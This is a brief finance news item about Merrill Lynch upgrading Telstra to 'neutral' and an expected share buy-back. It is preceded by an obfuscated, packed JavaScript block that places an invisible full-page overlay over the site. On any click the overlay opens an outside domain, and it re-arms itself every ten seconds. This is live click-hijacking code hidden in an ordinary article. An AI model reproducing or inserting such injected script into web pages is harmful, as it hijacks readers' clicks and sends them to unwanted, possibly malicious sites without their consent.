<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Merrill Lynch has upgraded Telstra from an ‘underperform’ to ‘neutral’ position with a target price of $3.35, 30c higher than the previous target price. The upgrade stems from an estimate that Telstra’s costs will decline in 2012-13 and 2013-14, which increases earning by one per cent.
Also, Telstra recently announced an unscheduled investor day on April 19, when analysts expect management to provide some details on a potential share buy-back. Merrill analyst Sameer Chopra expects to see a buy-back of between $1 billion and $1.5 billion, more information on what happens to its NBN deal if the federal government changes and an update on business activity. |